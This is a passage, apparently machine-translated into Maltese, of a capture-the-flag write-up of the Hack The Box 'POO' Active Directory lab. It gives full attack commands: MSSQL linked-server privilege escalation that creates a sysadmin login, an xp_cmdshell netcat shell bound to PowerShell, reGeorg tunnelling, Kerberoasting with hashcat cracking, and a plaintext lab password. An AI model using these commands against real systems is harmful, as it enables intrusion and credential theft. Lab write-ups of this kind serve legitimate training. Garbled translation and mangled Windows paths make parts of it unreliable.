F'dan l-artikolu, aħna se nanalizzaw il-mogħdija ta 'mhux biss magna, iżda mini-laboratorju sħiħ mis-sit
Kif iddikjarat fid-deskrizzjoni, POO huwa ddisinjat biex jittestja l-ħiliet fl-istadji kollha ta 'attakki f'ambjent żgħir ta' Active Directory. L-għan huwa li tikkomprometti host disponibbli, teskala l-privileġġi, u eventwalment tikkomprometti d-dominju kollu billi tiġbor 5 bnadar fil-proċess.
Il-konnessjoni mal-laboratorju hija permezz VPN. Huwa rakkomandat li ma tikkonnettjax minn kompjuter li jaħdem jew minn host fejn hemm dejta importanti għalik, peress li tidħol f'netwerk privat ma' nies li jafu xi ħaġa dwar is-sigurtà tal-informazzjoni 🙂
informazzjoni organizzattiva
Sabiex tkun tista 'ssir taf dwar artikoli ġodda, softwer u informazzjoni oħra, ħloqt
L-informazzjoni kollha hija pprovduta għal skopijiet edukattivi biss. L-awtur ta’ dan id-dokument ma jassumi l-ebda responsabbiltà għal kwalunkwe ħsara kkawżata lil xi ħadd bħala riżultat tal-użu tal-għarfien u l-metodi miksuba bħala riżultat tal-istudju ta’ dan id-dokument.
Intro
Din il-logħba finali tikkonsisti f'żewġ magni u fiha 5 bnadar.
Jingħataw ukoll id-deskrizzjoni u l-indirizz tal-host disponibbli.
Nibdew!
Recon bandiera
Din il-magna għandha indirizz IP ta '10.13.38.11 li nżid ma' /etc/hosts.
10.13.38.11 poo.htb
L-ewwel pass huwa li tiskennja portijiet miftuħa. Peress li tieħu ħafna żmien biex tiskennja l-portijiet kollha b'nmap, l-ewwel se nagħmel dan bil-mascan. Aħna niskennjaw il-portijiet TCP u UDP kollha mill-interface tun0 f'500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Issa, biex tikseb informazzjoni aktar dettaljata dwar is-servizzi li jaħdmu fuq il-portijiet, ejja nagħmel skan bl-għażla -A.
nmap -A poo.htb -p80,1433
Għalhekk, għandna servizzi IIS u MSSQL. F'dan il-każ, insibu l-isem DNS reali tad-dominju u l-kompjuter. Fuq is-server tal-web, aħna milqugħa mill-home page tal-IIS.
Ejja ntennu fuq id-direttorji. Jien nuża gobuster għal dan. Fil-parametri, aħna nispeċifikaw in-numru ta 'flussi 128 (-t), URL (-u), dizzjunarju (-w) u estensjonijiet li jinteressawna (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Għalhekk, għandna awtentikazzjoni HTTP għad-direttorju /admin, kif ukoll il-fajl tal-ħażna tas-servizz tad-desktop .DS_Store disponibbli. .DS_Store huma fajls li jaħżnu l-issettjar tal-utent għal folder, bħal lista ta 'fajls, post tal-ikona, immaġni ta' sfond magħżula. Tali fajl jista' jispiċċa fid-direttorju tas-server tal-web tal-iżviluppaturi tal-web. Għalhekk, aħna jiksbu informazzjoni dwar il-kontenut tad-direttorju. Għal dan tista 'tuża
python3 dsstore_crawler.py -i http://poo.htb/
Aħna nġibu l-kontenut tad-direttorju. L-iktar ħaġa interessanti hawnhekk hija d-direttorju /dev, li minnu nistgħu naraw is-sorsi u l-fajls db f'żewġ fergħat. Iżda nistgħu nużaw l-ewwel 6 karattri tal-ismijiet tal-fajls u tad-direttorju jekk is-servizz ikun vulnerabbli għal ShortName IIS. Tista 'tiċċekkja għal din il-vulnerabbiltà bl-użu
U nsibu fajl test wieħed li jibda b'"poo_co". Ma kontx naf x'għandek tagħmel wara, sempliċement għażilt mid-dizzjunarju tad-direttorji l-kliem kollu li jibda b'"co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
U itenni b'wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
U sib il-kelma t-tajba! Aħna nħarsu lejn dan il-fajl, ħlief il-kredenzjali (ġġudikati mill-parametru DBNAME, huma minn MSSQL).
Nagħtu l-bandiera, u navvanzaw b'20%.
Huh bandiera
Aħna nikkonnettjaw ma 'MSSQL, nuża DBeaver.
Ma nsibu xejn interessanti f'din id-database, ejja noħolqu Editur SQL u niċċekkjaw x'inhuma l-utenti.
SELECT name FROM master..syslogins;
Għandna żewġ utenti. Ejja niċċekkjaw il-privileġġi tagħna.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Għalhekk, m'hemmx privileġġi. Ejja naraw is-servers konnessi, ktibt dwar din it-teknika fid-dettall
SELECT * FROM master..sysservers;
Allura nsibu ieħor SQL Server. Ejja niċċekkja l-eżekuzzjoni tal-kmandi fuq dan is-server billi tuża openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
U nistgħu anke nibnu siġra tal-mistoqsijiet.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Il-fatt hu li meta nagħmlu talba lil server konness, it-talba tiġi esegwita fil-kuntest ta 'utent ieħor! Ejja naraw liema kuntest tal-utent qed inħaddmu fuq is-server marbut.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
U issa ejja naraw f'liema kuntest titwettaq it-talba mis-server konness għal tagħna!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Għalhekk, huwa kuntest DBO li għandu jkollu l-privileġġi kollha. Ejja niċċekkjaw il-privileġġi f'każ ta' talba minn server konness.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Kif tistgħu taraw, għandna l-privileġġi kollha! Ejja noħolqu l-admin tagħna bħal dan. Imma ma jħalluhomx permezz ta 'openquery, ejja nagħmluha permezz ta' EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
U issa aħna nikkonnettjaw mal-kredenzjali tal-utent il-ġdid, josservaw id-database tal-bandiera l-ġdida.
Nagħtu din il-bandiera u mmorru aktar.
Bandiera lura
Ejja nikseb il-qoxra bl-użu ta 'MSSQL, qed nuża mssqlclient mill-pakkett impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Irridu nġibu passwords, u l-ewwel ħaġa li diġà ltqajna hija s-sit. Għalhekk, għandna bżonn web server konfig (huwa impossibbli li tarmi qoxra konvenjenti, apparentement il-firewall qed jaħdem).
Iżda l-aċċess huwa miċħud. Għalkemm nistgħu naqraw il-fajl minn MSSQL, irridu biss inkunu nafu liema lingwi ta 'programmar huma kkonfigurati. U fid-direttorju MSSQL insibu li hemm Python.
Imbagħad m'hemm l-ebda problema biex taqra l-fajl web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Bil-kredenzjali misjuba, mur / admin u aqbad il-bandiera.
bandiera tal-qiegħ
Fil-fatt, hemm xi inkonvenjenzi mill-użu ta 'firewall, iżda nħarsu mill-issettjar tan-netwerk, ninnotaw li jintuża wkoll il-protokoll IPv6!
Żid dan l-indirizz għal /etc/hosts.
dead:babe::1001 poo6.htb
Ejja nerġgħu niskennjaw l-host, iżda din id-darba fuq IPv6.
U s-servizz WinRM huwa disponibbli fuq IPv6. Ejja ngħaqqdu mal-kredenzjali misjuba.
Hemm bandiera fuq id-desktop, agħtiha.
P00ned bandiera
Wara tkixxif fuq l-ospitanti ma
setspn.exe -T intranet.poo -Q */*
Ejja tesegwixxi l-kmand permezz ta 'MSSQL.
B'dan il-mod, inġibu l-SPN tal-utenti p00_hr u p00_adm, li jfisser li huma vulnerabbli għal attakk bħal Kerberoasting. Fil-qosor, nistgħu niksbu l-hashes tal-passwords tagħhom.
L-ewwel trid tikseb qoxra stabbli f'isem l-utent MSSQL. Iżda peress li aħna limitati fl-aċċess, għandna konnessjoni mal-host biss permezz tal-portijiet 80 u 1433. Iżda huwa possibbli li t-traffiku fil-mina mill-port 80! Għal dan nużaw
Imma meta nippruvaw naċċessawha, ikollna żball 404. Dan ifisser li l-fajls *.aspx mhumiex esegwiti. Biex tagħmel fajls b'dawn l-estensjonijiet jaħdmu, installa ASP.NET 4.5 kif ġej.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
U issa, meta naċċessaw tunnel.aspx, inġibu t-tweġiba li kollox lest biex imur.
Ejja nibdew il-parti tal-klijent tal-applikazzjoni, li se tgħaddi t-traffiku. Aħna se ngħaddu t-traffiku kollu mill-port 5432 lis-server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
U nużaw proxychains biex nibagħtu t-traffiku ta’ kwalunkwe applikazzjoni permezz tal-prokura tagħna. Ejja nżidu dan il-prokura fil-fajl ta' konfigurazzjoni /etc/proxychains.conf.
Issa ejja ntellgħu l-programm fuq is-server
Issa, permezz tal-MSSQL, inniedu s-semmiegħ.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
U aħna nikkonnettjaw permezz tal-prokura tagħna.
proxychains rlwrap nc poo.htb 4321
U ejja nġibu l-hashes.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Sussegwentement, għandek bżonn ittenni fuq dawn il-hashes. Peress li rockyou ma kellekx dizzjunarju tad-dejta tal-password, użajt id-dizzjunarji tal-passwords KOLLHA pprovduti fis-Seclists. Għall-enumerazzjoni nużaw hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
U nsibu ż-żewġ passwords, l-ewwel fid-dizzjunarju dutch_passwordlist.txt, u t-tieni fil-Keyboard-Combinations.txt.
U għalhekk għandna tliet utenti, immorru għand il-kontrollur tad-dominju. Ejja nsiru nafu l-indirizz tiegħu l-ewwel.
Kbira, tgħallimna l-indirizz IP tal-kontrollur tad-dominju. Ejja nsiru nafu l-utenti kollha tad-dominju, kif ukoll min minnhom huwa amministratur. Biex tniżżel l-iskrittura biex tikseb informazzjoni PowerView.ps1. Imbagħad aħna se nikkonnettjaw bl-użu evil-winrm, li tispeċifika d-direttorju bl-iskrittura fil-parametru -s. U mbagħad biss tagħbija l-iskrittura PowerView.
Issa għandna aċċess għall-funzjonijiet kollha tagħha. L-utent p00_adm jidher qisu utent privileġġjat, għalhekk se naħdmu fil-kuntest tiegħu. Ejja noħolqu oġġett PSCredential għal dan l-utent.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Issa l-kmandi kollha tal-Powershell fejn nispeċifikaw Creds se jiġu esegwiti f'isem p00_adm. Ejja nuru lista ta' utenti u l-attribut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
U għalhekk, l-utent tagħna huwa verament privileġġjat. Ejja naraw għal liema gruppi jappartjeni.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Aħna finalment nikkonfermaw li l-utent huwa amministratur tad-dominju. Dan jagħtiha d-dritt li tidħol mill-bogħod mal-kontrollur tad-dominju. Ejja nippruvaw nilloggjaw bil-WinRM billi tuża l-mina tagħna. Kont konfuż bl-iżbalji maħruġa minn reGeorg meta nuża evil-winrm.
Imbagħad nużaw ieħor, aktar faċli,
Nippruvaw nikkonnettjaw, u ninsabu fis-sistema.
Imma m'hemm l-ebda bandiera. Imbagħad ħares lejn l-utent u iċċekkja d-desktops.
Fl-mr3ks insibu l-bandiera u l-laboratorju lest 100%.
Dak kollox. Bħala feedback, ikkummenta dwar jekk tgħallimtx xi ħaġa ġdida minn dan l-artikolu u jekk kienx utli għalik.
Tista' tingħaqad magħna fuq
Sors: www.habr.com